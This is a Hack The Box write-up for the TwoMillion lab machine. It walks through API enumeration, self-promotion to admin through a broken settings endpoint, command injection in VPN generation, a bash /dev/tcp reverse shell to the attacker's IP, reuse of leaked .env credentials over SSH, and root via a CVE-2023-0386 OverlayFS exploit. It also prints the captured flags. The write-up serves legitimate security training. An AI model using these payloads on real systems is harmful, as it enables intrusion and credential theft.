Hack The Box Machines
HTB TwoMillion Writeup
Linux writeup covering API enumeration, broken access control, command injection in VPN generation, and CVE-2023-0386 kernel privilege escalation.
Hack The Box — TwoMillion Writeup
|---|
|Machine|TwoMillion|
|Platform|Hack The Box|
|OS|Linux / Ubuntu 22.04.2 LTS|
|Difficulty|Easy|
|Target IP|10.129.229.66|
TwoMillion exposed only SSH and a PHP/nginx web application. The attack path was API-focused: generate an invite code, register a user, abuse a broken admin settings endpoint to promote the account, exploit command injection in VPN generation for a shell, reuse leaked credentials from .env, then escalate to root through CVE-2023-0386 OverlayFS/FUSE local privilege escalation.

Enumeration
Host Discovery
The target was reachable over the HTB VPN.
ping 10.129.229.66
Output:
64 bytes from 10.129.229.66: icmp_seq=1 ttl=63 time=15.5 ms
64 bytes from 10.129.229.66: icmp_seq=2 ttl=63 time=19.0 ms
64 bytes from 10.129.229.66: icmp_seq=3 ttl=63 time=47.5 ms
My VPN interface was:
tun0: 10.10.14.224/23
This IP was later used for the reverse shell listener.
Full Port Scan
sudo nmap -p- --min-rate 5000 -sS -Pn -oN nmap-allports.txt 10.129.229.66
Output:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Only SSH and HTTP were exposed.
Service Detection
sudo nmap -sC -sV -p22,80 -oN nmap-services.txt 10.129.229.66
Output:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
Critical findings:
-
Port
80redirected tohttp://2million.htb/ -
Web stack:
nginxwith PHP sessions -
SSH was available but required credentials
I added the hostname to /etc/hosts:
echo "10.129.229.66 2million.htb" | sudo tee -a /etc/hosts
Web Fingerprinting
whatweb http://2million.htb
curl -I http://2million.htb
Output:
http://2million.htb [200 OK] Cookies[PHPSESSID], HTTPServer[nginx], Script, Title[Hack The Box :: Penetration Testing Labs]
HTTP/1.1 405 Method Not Allowed
Set-Cookie: PHPSESSID=...
The HEAD request returned 405, but normal GET requests worked.
Link and JavaScript Enumeration
I saved the homepage and extracted links:
curl -s http://2million.htb/ -o index.html
grep -Eoi 'href="[^"]+|src="[^"]+' index.html | cut -d'"' -f2 | sort -u
Interesting paths:
/invite
/login
/js/htb-frontpage.min.js
The /invite page loaded an additional JavaScript file:
curl -s http://2million.htb/invite | grep -Ei "script|api|invite|js"
Output:
<script defer src="/js/inviteapi.min.js"></script>
url: '/api/v1/invite/verify'
I fetched the JavaScript:
curl -s http://2million.htb/js/inviteapi.min.js
The minified JavaScript revealed two important API endpoints:
/api/v1/invite/verify
/api/v1/invite/how/to/generate
Initial Foothold
Invite Code Generation
The invite page required an invite code. The JavaScript exposed an API endpoint that explained how to generate one.
curl -s -X POST http://2million.htb/api/v1/invite/how/to/generate | jq
Output:
{
"0": 200,
"success": 1,
"data": {
"data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",
"enctype": "ROT13"
},
"hint": "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."
}
The message was ROT13 encoded:
curl -s -X POST http://2million.htb/api/v1/invite/how/to/generate \
| jq -r '.data.data' \
| tr 'A-Za-z' 'N-ZA-Mn-za-m'
Decoded output:
In order to generate the invite code, make a POST request to /api/v1/invite/generate
I generated an invite code:
curl -s -X POST http://2million.htb/api/v1/invite/generate | jq
Output:
{
"0": 200,
"success": 1,
"data": {
"code": "VVVZMjItWU1aUFEtUlNBM0wtQTNUMVk=",
"format": "encoded"
}
}
The code was base64 encoded:
curl -s -X POST http://2million.htb/api/v1/invite/generate \
| jq -r '.data.code' | base64 -d; echo
Example decoded invite:
4R4DA-W6HFR-ZWRMF-YM8NX
User Registration
The registration form required:
code
username
email
password
password_confirmation
This was confirmed by inspecting the form:
curl -s http://2million.htb/register \
| sed -n '/<form/,/<\/form>/p'
I registered a user using form-encoded data:
CODE=$(curl -s -X POST http://2million.htb/api/v1/invite/generate \
| jq -r '.data.code' | base64 -d)
curl -i -s -c cookies.txt -X POST http://2million.htb/api/v1/user/register \
--data-urlencode "code=$CODE" \
--data-urlencode "username=g10d5" \
--data-urlencode "email=g10d5@2million.htb" \
--data-urlencode "password=Password123@" \
--data-urlencode "password_confirmation=Password123@"
Successful registration redirected to /login:
HTTP/1.1 302 Found
Location: /login
Then I logged in and saved the session cookie:
curl -i -s -b cookies.txt -c cookies.txt -X POST http://2million.htb/api/v1/user/login \
--data-urlencode "email=g10d5@2million.htb" \
--data-urlencode "password=Password123@"
Successful login redirected to /home:
HTTP/1.1 302 Found
Location: /home
I confirmed authenticated access:
curl -i -s -b cookies.txt http://2million.htb/home | head -30
Output:
<title>Hack The Box :: Dashboard </title>
Authenticated API Enumeration
The authenticated API route list was accessible:
curl -s -b cookies.txt http://2million.htb/api/v1 | jq
Output:
{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
"/api/v1/invite/generate": "Generate invite code",
"/api/v1/invite/verify": "Verify invite code",
"/api/v1/user/auth": "Check if user is authenticated",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
},
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"
}
}
}
}
Critical findings:
-
The route list exposed admin-only endpoints.
-
There was an admin settings update endpoint.
-
There was an admin VPN generation endpoint.
I checked my current role:
curl -s -b cookies.txt http://2million.htb/api/v1/user/auth | jq
Output:
{
"loggedin": true,
"username": "g10d5",
"is_admin": 0
}
The account was a normal user.
API Privilege Escalation
The /api/v1/admin/settings/update endpoint allowed changing my own is_admin value without proper authorization.
curl -s -b cookies.txt -X PUT http://2million.htb/api/v1/admin/settings/update \
-H "Content-Type: application/json" \
-d '{"email":"g10d5@2million.htb","is_admin":1}' | jq
Output:
{
"id": 14,
"username": "g10d5",
"is_admin": 1
}
I verified admin access:
curl -s -b cookies.txt http://2million.htb/api/v1/admin/auth | jq
Output:
{
"message": true
}
Why it worked:
The application trusted user-supplied JSON input for account settings and allowed a regular authenticated user to set is_admin to 1. This was a broken access control issue.
Command Injection in VPN Generation
As an admin user, I tested the VPN generation endpoint:
curl -s -b cookies.txt -X POST http://2million.htb/api/v1/admin/vpn/generate \
-H "Content-Type: application/json" \
-d '{"username":"g10d5"}'
The endpoint generated an OpenVPN configuration.
To test command injection, I injected id into the username parameter:
curl -s -b cookies.txt -X POST http://2million.htb/api/v1/admin/vpn/generate \
-H "Content-Type: application/json" \
-d '{"username":"g10d5;id;"}'
Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
This confirmed command injection as the web server user.
Why it worked:
The backend likely passed the username value into a shell command during VPN profile generation without proper sanitization or argument escaping. By injecting semicolons, I was able to terminate the intended command and execute arbitrary commands.
Reverse Shell
I started a listener on Kali:
nc -lvnp 4444
Then triggered a reverse shell through the vulnerable VPN endpoint:
curl -s -b cookies.txt -X POST http://2million.htb/api/v1/admin/vpn/generate \
-H "Content-Type: application/json" \
-d '{"username":"g10d5;bash -c '\''bash -i >& /dev/tcp/10.10.14.224/4444 0>&1'\'';"}'
Listener output:
listening on [any] 4444 ...
connect to [10.10.14.224] from (UNKNOWN) [10.129.229.66] 43346
bash: cannot set terminal process group (1097): Inappropriate ioctl for device
bash: no job control in this shell
www-data@2million:~/html$
Confirmed shell:
whoami
Output:
www-data
Privilege Escalation
www-data to admin
From the web root, I listed files:
ls -la
Output:
-rw-r--r-- 1 root root 87 Jun 2 2023 .env
-rw-r--r-- 1 root root 1237 Jun 2 2023 Database.php
-rw-r--r-- 1 root root 2787 Jun 2 2023 Router.php
drwxr-xr-x 5 root root 4096 Jun 19 11:40 VPN
The .env file contained database credentials:
cat .env
Output:
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
I checked local users:
cat /etc/passwd | grep -E '/bin/(bash|sh)$'
ls -la /home
Output:
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/bin/bash
admin:x:1000:1000::/home/admin:/bin/bash
Since there was a local user named admin, I tested credential reuse over SSH.
From Kali:
ssh admin@10.129.229.66
Password:
SuperDuperPass123
Login succeeded.
I captured the user flag:
id
cat ~/user.txt
Output:
uid=1000(admin) gid=1000(admin) groups=1000(admin)
8815f99973ac3718b6ffa3e4aa831873
Why it worked:
The database password from .env was reused as the Linux password for the admin user. This allowed lateral movement from the web service account to an interactive SSH account.
admin to root
I checked sudo privileges and kernel version:
sudo -l
uname -a
lsb_release -a 2>/dev/null
Output:
Sorry, user admin may not run sudo on localhost.
Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64 GNU/Linux
Distributor ID: Ubuntu
Description: Ubuntu 22.04.2 LTS
Release: 22.04
Codename: jammy
The user had mail:
cat /var/mail/admin
Mail content:
Subject: Urgent: Patch System OS
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
HTB Godfather
This pointed directly to an OverlayFS/FUSE kernel vulnerability.
The kernel version was vulnerable to CVE-2023-0386, a Linux kernel OverlayFS local privilege escalation caused by improper handling of setuid/capability copy-up from a nosuid mount into another mount.
Staging the Exploit
The target had no outbound internet access:
git clone https://github.com/puckiestyle/CVE-2023-0386.git
Output:
fatal: unable to access 'https://github.com/puckiestyle/CVE-2023-0386.git/': Could not resolve host: github.com
So I downloaded the exploit on Kali and transferred it to the target.
On Kali:
cd ~/Desktop
git clone https://github.com/puckiestyle/CVE-2023-0386.git
tar czf cve0386.tgz CVE-2023-0386
scp cve0386.tgz admin@10.129.229.66:/tmp/
On the target:
cd /tmp
tar xzf cve0386.tgz
cd CVE-2023-0386
make all
The build completed and produced:
fuse
exp
gc
The target had the required build tools and FUSE helper:
which gcc make fusermount3
ls -l /usr/bin/fusermount3
Output:
/usr/bin/gcc
/usr/bin/make
/usr/bin/fusermount3
-rwsr-xr-x 1 root root 35200 Mar 23 2022 /usr/bin/fusermount3
Fixing Exploit Runtime Issue
The first exploit attempt failed because the copied payload file was empty or not executable:
[+] exploit success!
sh: 1: ./ovlcap/upper/file: Permission denied
uid=1000(admin) gid=1000(admin) groups=1000(admin)
Inspection showed:
ls -l ./gc ./exp ./fuse ./ovlcap/upper/file
Output:
-rwxrwxr-x 1 admin admin 17160 ./exp
-rwxrwxr-x 1 admin admin 1407736 ./fuse
-rwxrwxr-x 1 admin admin 16096 ./gc
-rw-rw-r-- 1 admin admin 0 ./ovlcap/upper/file
The issue was stale exploit directories and an incorrect setup. The PoC expects the ovlcap/lower mount path to be created by ./fuse; manually creating it causes errors like:
mkdir: File exists
I rebuilt in a clean directory:
pkill -f './fuse' 2>/dev/null
fusermount3 -u /tmp/CVE-2023-0386/ovlcap/lower 2>/dev/null
fusermount3 -u /home/admin/CVE-2023-0386/ovlcap/lower 2>/dev/null
cd /home/admin
rm -rf cve0386_clean
mkdir cve0386_clean
tar xzf /tmp/cve0386.tgz -C cve0386_clean --strip-components=1
cd cve0386_clean
make clean 2>/dev/null
make all
rm -rf ovlcap/lower ovlcap/upper ovlcap/work ovlcap/merge
Important:
Do not manually create ovlcap/lower before running ./fuse.
Exploiting CVE-2023-0386
The exploit required two SSH sessions.
Session 1
cd /home/admin/cve0386_clean
ls -ld ovlcap/lower 2>/dev/null || echo "lower does not exist"
./fuse ./ovlcap/lower ./gc
Expected output:
lower does not exist
[+] len of gc: 0x3ee0
This session must remain running.
Session 2
cd /home/admin/cve0386_clean
./exp
Output:
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root root 4096 Jun 19 12:04 .
drwxrwxr-x 6 root root 4096 Jun 19 12:04 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan 1 1970 file
[+] exploit success!
The exploit dropped into a root shell:
whoami
Output:
root
I captured the root flag:
cd /root
cat root.txt
Output:
e9b6293c6dec269eaf779767864f8fef
Why it worked:
CVE-2023-0386 abuses OverlayFS copy-up behavior involving a nosuid FUSE mount. The exploit causes a file with elevated privileges/capabilities to be copied into a writable overlay upper layer while preserving privilege attributes. Executing the copied file results in privilege escalation to root.
Flags
user.txt: 8815f99973ac3718b6ffa3e4aa831873
root.txt: e9b6293c6dec269eaf779767864f8fef
Cleanup
After exploitation, I cleaned up the staged files and FUSE mount:
pkill -f './fuse' 2>/dev/null
fusermount3 -u /home/admin/cve0386_clean/ovlcap/lower 2>/dev/null
rm -rf /tmp/CVE-2023-0386 /home/admin/CVE-2023-0386 /home/admin/cve0386_clean /tmp/cve0386.tgz
Key Takeaways
-
JavaScript files can expose hidden API endpoints and application workflows.
-
Encoding is not encryption; ROT13 and base64 were used only as weak obfuscation.
-
Authenticated API route disclosure can reveal high-value admin functionality.
-
Broken access control allowed a normal user to promote their own account to admin.
-
Command injection can appear in backend automation features such as VPN/profile generation.
-
.envfiles in web roots often contain reusable secrets. -
Password reuse between application/database credentials and Linux accounts enables lateral movement.
-
Local kernel privilege escalation becomes practical when the target kernel is outdated and exploit hints exist on-box.
-
For CVE-2023-0386, exploit setup matters: stale OverlayFS/FUSE directories can cause false failures.